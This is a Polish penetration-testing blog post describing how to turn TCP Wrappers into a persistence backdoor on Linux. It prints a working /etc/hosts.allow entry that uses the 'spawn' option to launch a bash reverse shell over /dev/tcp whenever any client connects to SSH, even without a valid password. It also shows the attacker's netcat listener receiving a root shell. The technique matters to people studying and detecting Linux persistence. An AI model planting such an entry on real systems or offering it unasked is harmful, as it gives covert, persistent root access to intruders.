Zamieniamy TCP wrappers w mechanizm persystencji
Napisał: Patryk Krawaczyński
29/09/2025 (6 dni temu) w Pen Test Brak komentarzy. (artykuł nr 935, ilość słów: 360)
P
akiet TCP Wrappers jest instalowany domyślnie we wszystkich głównych dystrybucjach systemu Linux. Zapewnia on kontrolę dostępu do usług sieciowych na poziomie hosta. Najważniejszym komponentem tego pakietu jest biblioteka libwrap.so, z obsługą której kompilowane są inne programy. Dzięki temu podczas próby połączenia z danym programem TCP Wrappers na początku odwołuje się do swoich plików dostępu (tj. /etc/hosts.allow
i /etc/hosts.deny
), aby ustalić, czy klient ma prawo połączyć się z daną usługą. Jeśli klient otrzyma zgodę na połączenie, TCP Wrappers zwalnia kontrolę nad połączeniem z żądaną usługą i nie bierze już udziału w komunikacji między klientem, a serwerem. Oprócz kontroli dostępu i rejestrowania połączeń, TCP Wrappers może wykonywać polecenia w celu interakcji z klientem przed zablokowaniem lub zwolnieniem kontroli nad połączeniem z żądaną usługą sieciową. I tutaj pojawia się przestrzeń na mechanizm utrzymania trwałego dostępu do systemu.
Najbardziej popularną usługą, która posiada wkompilowaną obsługę biblioteki libwrap.so
jest SSH:
root@darkstar:~# ldd /usr/sbin/sshd | grep libwrap libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007d107b158000)
Dlatego instalując mechanizm persystencji w TCP Wrappers po pierwsze: nie ingerujemy bezpośrednio w usługę SSH, po drugie: mamy pewność, że prędzej czy później ktoś go uruchomi, ze względu na fakt, że SSH pozostaje główną usługą komunikacji z serwerami Linux:
root@darkstar:~# cat /etc/hosts.allow sshd: ALL: spawn ( \ bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/31337 0>&1') & : ALLOW
Powyższy wpis wykorzystuje opcję spawn, która umożliwia wykonanie polecenia powłoki jako procesu potomnego po zezwoleniu połączenie przez regułę TCP Wrappers dla usługi SSH. W pierwotnym założeniu służy ona głównie do wykonywania takich zadań jak: tworzenie niestandardowych wpisów w logach lub zbieranie informacji o łączącym się hoście bez przerywania samego połączenia. Tutaj wykorzystujemy ją do uruchomienia reverse shell. Jeśli teraz zwykły użytkownik połączy się z usługą SSH – nawet nie wpisując poprawnego hasła – powłoka bash „zadzwoni” na adres atakującego:
agresor@darkstar:~$ nc -l 31337 bash: cannot set terminal process group (1075): Inappropriate ioctl for device bash: no job control in this shell root@darkstar:/#
W regule zezwalamy daemonowi SSH na połączenia z dowolnego adresu (ALL
), dlatego każde połączenie będzie aktywować nasz mechanizm. W bardziej rozbudowanej wersji możemy dodać weryfikację, czy już mechanizm został uruchomiony, aby nie uruchamiać dalszych instrukcji itp.
Więcej informacji: TCP Wrappers, Using tcpwrappers
Poprzedni wpis Brak nowszych postów